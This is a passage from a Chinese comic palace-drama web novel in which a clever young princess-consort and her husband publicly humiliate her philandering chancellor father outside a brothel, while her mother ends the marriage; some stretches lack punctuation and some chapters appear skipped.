他近来的头疾越来越严重了,或许真的是老了吧。
曲培听着司徒擎这话,心跳都加快了,谨慎地斟酌之后才迟疑道:
“皇子们都还年轻着呢,日后懂事了就好了。”
“哼,是吗?”
司徒擎冷哼一声:“老二老三还有可能,老大那副样子,你觉得他还有懂事的一天?”
“堂堂太子,府中还有太子妃和两个侧妃,竟然还闹出跟婢女大堂厮混这种丑事,朕都替他臊得慌!”
“自从皇后禁足之后,没了人管束,他是愈发放纵了,朕对他是越来越失望了!”
曲培呼吸一滞,手指都跟着颤了下。
这话的意思是……
他不敢多加揣测,只好低着头装没听懂。
乾心殿外,依稀听见这话的太监目光微闪,看了眼殿内,悄无声息地离开,往后宫方向走去……
——
谢府。
谢元棠一边嗑着瓜子儿,一边看着冷蕴菀教司徒砚下棋。
“娘,我想好了,我这次走这儿!”
司徒砚第五次悔棋,冷蕴菀慈笑着,摇了摇头,将手中的白棋挡在他正前方。
谢元棠眨眨眼,笑着给出答案:“夫君,你还能活五步,比刚才还多活了两步,进步了哟~”
司徒砚蹙眉:“怎么会这样?”
他抬手就将棋子收回来,收到一半,手停在半空中,抬头去看冷蕴菀:“娘,我能重下吗?”
“自然。”
冷蕴菀脸上始终带着温柔的笑意,不急不怒道:“你不必着急,这本来就不是正式的下棋,只是教你如何培养下棋思维而已,你想悔几次棋都行。”
“娘真好!”
司徒砚高兴地捏着黑棋,又开始苦思冥想到底该走在哪儿。
半刻钟后,他桃花眼闪过一道精光,将黑棋飞快地填入棋盘上一个空隙:
“倘若我走出这一步,请问娘要如何接招?”
冷蕴菀挑了挑眉,仔细看了看,笑着点头:“是步好棋,砚儿进步很快。”
谢元棠嘟着小嘴:“娘,你脾气可真好!”
少有人能有这种耐心陪司徒砚下棋的,连她都没办法跟他一下大半天,冷蕴菀却始终温柔
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如水,一点也不急不气。
听着女儿夸自己脾气好,冷蕴菀微微怔了怔。
忽然就想起当年,她还没出阁的时候,也是个火爆小辣椒。
冷家的孩子,就没有脾气不暴躁的。
可
是这样的性子在嫁给谢兆青之后却硬生生地磨平了。
冷蕴菀自嘲一笑:“连娘自己都快忘记了当年的我是什么模样了。”
经年过去桃花依旧笑春风人面却已失半路。
冷蕴菀心中微黯手背上忽然感觉到一道温热柔软的抚摸。
她抬起头就看见女儿可爱贴心的笑颜。
“娘不要难过有棠棠在呢!”
“棠棠跟你保证
冷蕴菀愣了下轻笑出声抬手慈爱地点了点女儿的小鼻尖:
“是啊有棠儿这么个贴心小棉袄娘以后的日子自然会越发好起来的。”
谢元棠挑眉笑了下没有透露太多。
还是等她帮娘亲解决了渣爹这个恶心东西以后让娘亲自己去迎接新生活吧!
到时候她就会知道她的人生不是因为有了这个女儿才美好而是因为她本来就可以拥有很美好的人生!
这之后两日的谢府生活依然很平静。
当然谢兆青不是没来过。
魏莲和谢雨沫晕倒的当天晚上他就来找过麻烦。
不过被谢元棠轻而易举给挡回去了。
后来他又来过两次都是趁着谢元棠不在家的时候想霸王硬上弓跟冷蕴菀重拾夫妻恩爱。
结果被黎休和罗吉直接给扔了出去!
除了这些小事谢家三个搞事的老中小女眷都躺在床上动弹不得渣爹又闹不起来谢元棠整天待着竟然觉得有些无聊了!
就在她无聊得想要找渣爹“玩耍”的时候黎休终于送来了她等待许久的消息!
“皇子妃谢丞相又去暗香楼了!”
听到这话本来倚在司徒砚腿上晒太阳的谢元棠“噌”地一下就弹坐起来。
谢元棠跳起来兴奋地搓着小手:
“来了来了!”
“我的好大爹棠棠终于把你等来了!”
第142章 俺是文明人!
到了暗香楼。
谢元棠让冷蕴菀和司徒砚都在车上待着,她自己下来。
黎休愣了下,疑惑道:“小皇妃怎么下来了?属下去跟鸨妈说就行了,佛音阁的面子,没人敢不给。”
“哦。”
谢元棠面无表情地问:“让他们都知道佛音阁给我走后门,对我很有好处吗?”
黎休:“……”
谢元棠叹了口气,摇摇头道:“跟言枫一块儿,回去都给我加课!专攻厚黑学!”
整个五皇子府一大家子人,除了白芙,其余一个比一个傻白甜。
让她这个当家的很是头疼啊!
谢元棠小大人似的晃了晃小脑袋,双手背后朝门口走去。
留下黎休怔怔发呆。
他转头问言枫:“小皇妃刚才那眼神……是嫌弃我吗?”
“错。”
言枫抬手拍拍他肩膀,语重心长道:“准确的说,是嫌你笨!”
黎休:“……”
他发誓他以前在佛音阁算得上是个机灵的了,也不知道怎么的,加入了这个大家庭以后,他总是跟不上谢元棠的思路。
言枫还好心地安慰他:“慢慢就习惯了,跟小皇妃比起来,咱们都笨!”
黎休:“……”
——
谢元棠刚走到暗香楼门口,就被小厮拦住了:“哪来的小娃娃?咱这里可不是小孩儿能进的……”
话没说完,就被谢元棠掏出的一锭金元宝晃花了眼。
“哎哟~”
刚还绷着脸的小厮瞬间换上一副谄媚样:“瞧我这眼拙的,原来是财神小姑奶驾到啊!”
“小姑奶,请问您有什么吩咐?想吃糖葫芦还是想喝桂花汁呢?”
谢元棠水灵灵的大眼睛眨了两下:“小伙计,你这样可得不到本财神的钱哦~思路打开点,钱路才能宽广啊!”
小厮愣了下,顺着她的身后,这才看见两辆马车,和那一看就不好惹的护卫。
这是……
哪家小祖宗来闹场子了?
小厮一愣,眼珠转了转道:“小姑奶您稍等,小的去给您请我们老板。”
说完立刻飞奔进去,扯着嗓子喊:“老板,快来!有小财神!”
谢元棠好奇地朝里面张望着。
只看见小厮声音刚落地,一道花蝴蝶便“嗖地从楼上闪现下来:“小财神?哪儿呢?
谢元棠看着面前穿得花枝招展的女人,有些惊讶地歪了歪头。
没想到这暗香楼的老板竟然是个风韵犹存的御姐大美人诶!
与此同时,御姐大美人也同样惊讶地盯着谢元棠:
“咦?这不是大名鼎鼎的小皇妃吗?来我们这里做什么来了?
谢元棠指了指自己:“你认识我?
“当然,奴家可是看过您好几场精彩的戏,是您忠实的吃瓜粉哦~
柳飘絮笑着,微弯腰,好奇地看着谢元棠:“您带这么多人来奴家这里,应该不是来吃饭的吧?
“姐姐,没想到您长得这么美,人还这么幽默!
谢元棠笑嘻嘻道:“有件事想请姐姐帮个小忙,价钱好说,您看怎么样?
柳飘絮眉头一挑,她就是这暗香楼的老板,自然猜得到谢元棠来这里所谓何事。
只是……
她倚着门框,目光从谢元棠身上打量过,又扫过那两辆马车。
一边是风头正盛的小皇妃和五皇子,一边是当朝一品丞相。
她一个小小的暗香楼老板,这个队要是站不好,只怕脖子上的脑袋也住不稳了。
柳飘絮没有立刻回答,而是试探着问谢元棠:
“冒昧问一句,假如奴家不答应,小皇妃您打算怎么做呢?
她微微咬唇,久经风月的人,一举一动都格外勾人:“该不会是想派人砸了我这暗香楼吧?
“怎么会呢?
谢元棠摇摇头:“俺可是文明人,不干那种砸场子的缺德事。
柳飘絮:“……她有点不认识“文明人这三个字了。
谢元棠笑嘻嘻地朝她招招小手,等柳飘絮弯腰凑近,她才轻飘飘道:
“我什么都不会做的,顶多就是在门口放鞭炮,再扯个横幅,上面写上‘请我爹谢兆青出来’罢了!
谢元棠嘟着小嘴:“嗯……鞭炮从早放到晚,横幅一个不够就扯十个,不行再请个唢呐队,这样,我爹就算是聋子也能听见了吧?
她眨眨墨黑明亮的大眼睛,笑得跟个小恶魔似的
:“飘絮姐姐你看俺说了不会砸楼就绝不会动你一块砖的!”
柳飘絮:“……”
是你不动我的砖
最怕的
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还不是这最怕的是以后谁家想找男人都照这个法子来那她的暗香楼不是早晚倒闭?
想到这里柳飘絮就一阵胃疼。
她看着谢元棠没好气地叹了口气道:“我终于感受到以前被你打脸的那些人的心情了。以前吃瓜的时候有多痛快现在就有多郁闷。”
这小丫头片子明显的有备而来否则怎么可能连她叫什么名字都知道?
柳飘絮哼了哼道:“明明早就知道我的名字了刚开始还跟我装“姐姐姐姐”叫得怪亲原来就是只小狐狸!”
谢元棠歪了歪小脑袋摆摆小手道:“没有没有不是小狐狸俺是老实人!”
“切~”
柳飘絮翻了个白眼:“得了吧小丫头你要是老实人我柳飘絮就是圣女了!”
谢元棠小脸扬着干净的笑容小酒窝若隐若现:
“飘絮姐姐这么美本来就是圣女呀!”
柳飘絮一愣低头看了眼她。
她堕入风尘这么多年一句“圣女”是自嘲也是旁人嘲她时说的话。
可谢元棠却毫不犹豫地赞同了。
那双黑白分明的大眼睛清澈见底没有嫌恶没有讽刺。
“娘子还没谈好吗?”
久不见谢元棠回去司徒砚没忍住从车里下来走过来道:
“是钱不够吗?跟他们说随便加钱咱们现在不差钱!”
谢元棠问:“你怎么下来了?”
“哦我突然想起必姥爷说老男人都不太行时间很短的。”
“咱们得抓紧时间不然就捉不了老王八的奸了!”
谢元棠毫不在意:“没事就我爹那水平肯定吃药了。”
柳飘絮:“……”她都听到了些什么?
谢元棠看她一眼伸出小手勾了勾身旁司徒砚的手指脆生生道:“夫君这是飘絮姐姐。”
“你看飘絮姐姐是不是很美?是不是圣女?”
闻言司徒砚转过目光第一次看向柳飘絮。
被他那双敛尽华光的桃花眼一扫如此干净又认真的审视着柳飘絮忽地提了口气莫名就有些紧张。
接着她就看见那双桃花眼弯了弯。
司徒砚目光坦诚没有任何贪色之意只有对美的欣赏和肯定。
“嗯好看的跟庙里的圣女像一样好看。”
柳飘絮怔怔地僵在那里视线落在谢元棠和司徒砚身上忽地笑了。
第145章 两人眼角通红,眼眶湿润
说罢这句话,谢元棠就转身跟司徒砚下楼了。
他们还要去敲锣呢!
妙儿看着空荡荡的门口,再低头看看自己怀里的衣服,仍有种不真实的幻觉。
直到“咚咚咚”的锣声响起,妙儿才一个激灵,飞快地将衣服穿在身上。
她决不能让谢兆青这棵大树跑了!
……
暗香楼门口。
不知何时聚集了一大群人。
但所有人都站在灰色的“警戒线”后面,只余中间的一片给空了出来。
时不时地有百姓的好奇声传来。
“这谁家来暗香楼找人了?咦?那个是小皇妃的丫鬟,我记得她,上回在皇子府门口吃瓜的时候还给我送水喝了!”
“哦,我说这阵仗这么大呢,原来是小皇妃啊,小皇妃的瓜向来好吃,我先占个位!”
“给我也占个,我去买点瓜子儿!”
“啊,你是上次那个哮喘的啊,给我捎点板栗,我一会儿给你银子!”
“……”
听着周围传来的声音,言枫呼了口气道:“幸好按照小皇妃说的,用布拉了条警戒线,不然等人一出来,一下子就窜没了,咱还怎么做事?”
白芙想了想道:“我看这新买的灰布别扔了,留着下回用。”
黎休:“……”你们竟然已经在准备下次了?
正说着,一道滑溜的身影从暗香楼里跑了出来!
“准备!人出来了!”
言枫眼尖地看见里面窜出来的身影,刚提醒大家注意,就看清了那身影……什么也没穿。
言枫嘴角抽了下:“皇子妃和殿下真狠啊……”
他下意识伸手,挡住白芙的眼睛:“别看,脏眼。”
“别看啥?”红蕖从白芙身后探出头来,一把拍下言枫的手,好奇地往前看去。
下一秒,白芙和红蕖嫌弃地撇嘴:“……咦~~~”
谢兆青本以为出了暗香楼,就可以装路人躲起来了。
而且暗香楼旁边有家成衣店,只要在那里买件衣服穿上,他就又是一条好汉了!
只是他如何也没想到,等他走出暗香楼,等待他的竟然是一场前所未有的欢迎盛宴!
空旷的门口,莫名其妙的灰
布围栏,灰布之后那些两眼冒光的城中百姓……
谢兆青顿时一口气提到一半又憋了回去。
这他要是出去,铁定得社会性死亡啊!
他咬咬牙,捂着最小的那条腿,悄咪咪背过身,打算躲回暗香楼。
就算被司徒砚打死,也比丢这种人好!
只是还不等他转身,冬儿就大喊了一声:
“丞相大人!您终于出来啦!
冬儿一嗓子又清又亮,本来还没注意到谢兆青出来的百姓,一时间全都看了过来。
“咚咚咚!
言枫敲锣:“谢丞相,都出来了,怎么还躲呢?
“哐嚓哐嚓!
红蕖敲盆:“大家都来看啊!这就是堂堂谢丞相,放任家中小妾欺辱主母,丫鬟欺辱我们殿下和皇子妃,自己却躲在暗香楼抱美人的谢丞相!
谢兆青一咬牙,转身瞪着他们道:“放肆!都给我滚!
“哎呀呀他扭过来了!真的是谢丞相啊!
百姓看清谢兆青的样子,忍不住议论声声:
“他那日在城门口不还跪求谢夫人原谅他吗?合着都是演戏给我们看呢啊?
“男人的话你也信?他前十年都没良心这种东西,怎么可能会在几天之内就长出来呢?
也有人笑着指着谢兆青的光背光腿:“不是,我就觉得他这样很像……拔了毛的猪哈哈哈!
“拉倒吧,别侮辱我猪哥,他都细成什么样了,就这样还玩,我只能说真行!
更有人对冬儿她们说:“小姑娘,回去告诉谢夫人,这种男人可快扔了吧,又脏又菜,简称脏菜!
冬儿小脸一红,转头看了眼停在角落的马车。
车内,冷蕴菀自嘲一笑。
路人都能看明白的道理,她却花了十年才懂。
听着周围人的指指点点,谢兆青黑着脸转头就往暗香楼里面跑。
只是不等他跑进去,司徒砚和谢元棠就从里面走了出来。
“爹……
可怜兮兮的小哭腔一响,别说听见的百姓愣了下,连红蕖和白芙等人都愣了。
这是他们小皇
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妃的声音。
小皇妃哭了?
难道是受伤了?还是方才在里面被
谢兆青欺负了?
下一秒,司徒砚拉着谢元棠,从里面缓缓走到门口。
两人穿着同色系的衣服,一高一低,一帅气一可爱。
只是不同以往两人总是笑嘻嘻的样子,也不同于方才在楼上的兴致勃勃。
此刻两人都眼角通红,眼眶湿润。
谢元棠大眼睛挂着剔透的小珍珠,吸吸鼻子,小嘴一撇哽咽道:“爹爹,你不是说会改吗?不是说会对娘亲好,对棠棠好吗?为什么又欺骗我们?”
话音落,小珍珠不要钱似的滑落,看得人分外心疼。
“小皇妃别哭啊!这混蛋不配做你爹!”
“哎哟孩子哭得我心都要碎了!”
“渣男!我呸!”
暗香楼账台后面,柳飘絮没好气地看着谢元棠那张小脸:“她刚才不还笑得最欢吗?怎么就哭了?”
花魁摇头:“不知道啊,从楼上下来的时候还笑着叫我姐姐了呢~”
小厮憨憨道:“难道是乐极生悲?”
柳飘絮抬手拍了他脑门一下:“你会乐极生悲她都不会,小狐狸,真会演啊!”
谢兆青黑着脸,瞪着谢元棠:“孽女!你给我让开!不然老子杀了你!”
听见这话,柳飘絮都翻了个白眼:“蠢钝如猪!”
这不上赶着给谢元棠递梯子嘛!
果不其然,他一说这话,谢元棠哭得更惨了:“爹,你要杀了我?我是你的亲生女儿啊!你怎么可以……”
谢元棠一边哭着质问,一边一步步地往前迈。
硬是将谢兆青逼出暗香楼,逼到警戒线中央!
司徒砚也紧跟着,巴巴地望着他:“你怎么可以……”
谢兆青顿时嘴角抽搐,没好气地瞪他:“我怎么你了?”
他又不是他爹!又没说要杀他!
司徒砚桃花眼泛着水光,看着谢兆青,十分委屈百般可怜:
“可是你不穿衣服被我看见了!必姥爷说看了一个人的身子,就要对他负责的,可是我不想对你负责啊……”
众人:“……”
第147章 谢兆青裂了!
妙儿一出现,整个场面顿时迎来了转折!
尤其是她那已经明显显怀的肚子,更让吃瓜群众吃瓜的心到达了顶峰!
“哇哦~这起码三四个月了吧?”
“三个月以前小皇妃还刚回谢府吧?难不成她那个时候就已经预知了未来,策划了这么大的局吗?”
“哈哈谢丞相,编借口也编个像样点的啊!”
“不是,都有孩子了还这么疯玩,你俩是真饿啊!”
听着众人的议论声,谢兆青顿时慌了,想也不想就开口否认:“你不要过来啊!本官根本不认得你!”
妙儿愣了下,心中冷笑。
她孩子都怀了,还能让你给跑了?
“大人~~~你当真如此狠心吗?”
妙儿红着眼眶,柔弱地跑过去。
快到谢兆青跟前的时候,“一不小心”绊了下,惊呼一声跌倒在地,正正好跌在谢兆青的脚边。
她抬起头,露出那张欲泣还哭的脸,声音似绝如悲:“大人,妙儿肚子里可是您的亲生骨肉,大夫都说了是个儿子,您当真连他也不要了吗?”
谢兆青绷紧了脸,沉声道:“虽然本官被你陷害引诱,但本官会负责到底,儿子生下来本官会将他接进府中,至于你……本官管不着!”
“大人,你……”
妙儿脸色一白,没想到谢兆青如此无情。
“哟!这不是传说中的下了床就翻脸吗?啧啧,真狠啊!”
“但这么狠还想着要儿子,真表脸!”
“是女儿就扔出府,是儿子就接回家!谢丞相,您这双标玩得挺溜啊!”
周围全是百姓嘲讽的声音,谢兆青紧绷着脸,双手还狼狈地揪着方巾。
他现在只想离开这个鬼地方!
他瞅准了警戒线一个豁口,深吸口气,准备窜出去!
可是这个要名分的节骨眼,妙儿怎么可能让他跑喽!
只见谢兆青前脚刚往前出溜一步,下一秒,妙儿就从后面抱住了他的后腿:“大人,您不能走啊!妙儿没了您可怎么活啊!”
冷不丁地被她一扯后悔,谢兆青一个没刹住车,前脚过分往前,后脚过分往后!
于是……
“咔嚓!”
一声脆响
谢兆青裂了!
“啊啊啊啊!”
方巾飘荡在地上谢兆青再顾不得光不光腚的事情他躬着身子捂着牙签痛苦地倒在地上来回打滚。
安寂的空气中所有人都齐齐一顿。
司徒砚眨了眨眼转头问谢元棠:“娘子我方才好像听见了什么裂开的声音!”
谢元棠看着原地翻滚的谢兆青
司徒砚疑惑地挠了挠头:“可是是什么裂了呢?”
谢元棠一摊小手笑得恶劣:“那谁知道可能……是根吧!”
账台后。
冒出脑袋的小厮看见这一幕倒吸了口凉气道:“完了完了这动静……以后只怕咱们都做不成谢丞相的生意了。”
柳飘絮挑眉:“那说明妙儿运气好肚子这个就是谢家最后的幼苗了。”
妙儿跌坐在谢兆青身旁也傻了。
她知道谢兆青没用但没想到他能脆皮成这样啊!
她咬了咬唇当下破釜沉舟地抱住谢兆青一条腿死活都不撒手。
于是就变成了谢兆青一边嚎一边在妙儿手里翻滚。
谢元棠看着看着嘴角抽搐道:“这么看他们真像在炸串啊!”
司徒砚:“……”最近都不想吃炸串了!
百姓们乐得看热闹一个个乐呵地又笑又议论。
冷蕴菀嫌脏眼更不想女儿一直在这种地方看这种东西她走过去拉住女儿:“棠儿咱们是不是可以走了?”
“走?”
谢元棠摇摇头:“不要我要再看会儿。”
他们一走谢兆青就会立刻被人接回去那不是太便宜老王八了?
她要眼睁睁看着他颜面扫地无能翻滚像条咸鱼一样挺着肚皮晒在众人眼皮底下!
冷蕴菀劝不动女儿便转头看女婿。
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司徒砚立刻往后退一步:“我也不走。”
红蕖悄悄凑过来小声道:“夫人我们也想再看会儿热闹。”
冷蕴菀:“……”
最终谢元棠等人一直静静站着一边憋着笑一边欣赏着谢兆青的糗样直到他嚎不动滚不动了谢元棠才朝冷蕴菀使了个眼色。
该她娘亲上场了!
冷蕴菀上前两步声音清冷:“谢兆青
“从今往后我与你夫妻缘尽!再无瓜葛!”
本来在地上挺尸的谢兆青听见这句话顿时又想扑腾起来。
只是他刚才翻腾得累了腿还被妙儿给抱着这会儿连续扑腾了好几下给周围的地面都扬起了一层灰土才艰难地扑腾起来!
“咳咳咳咳……”
他一站起身先咳嗽了好一会儿才气得手发抖地指着冷蕴菀:“贱妇!都是你害我你如今还想休我?做梦!”
“本朝从没有女子休夫的例子本官倒要看看谁敢给你撑腰!”
“我!”
一道洪亮雄厚的声音传来冷云朝身骑快马停在十米开外双脚在马背上一踏顿时运起轻功从天而降挡在冷蕴菀身前。
他今日去了城郊没想到竟会发生这种事要是早知道他根本不用冷蕴菀动手早亲自过来把谢兆青给打残了!
冷云朝脸色铁寒往前一步武人的天生杀气压得谢兆青顿时往后退了好几步。
“我冷家给我阿姊撑腰!”
“别说我冷家还没败就算败了只要姓冷的人没死完我阿姊这一生想做什么都可以做什么!”
他冷哼一声居高临下瞪着谢兆青:“不服?你试试!”
“你你……”
谢兆青被气得伸手指着冷云朝就想骂结果刚一伸出手冷云朝一个抬手就扼住了他的手指头。
随后……
“咔!”
“啊啊啊啊!”
谢兆青手指头被硬生生往后掰成了九十度!
冷云朝冷声道:“我生平最讨厌的事就是有人拿手指着我!”
第148章 你是真会说话啊!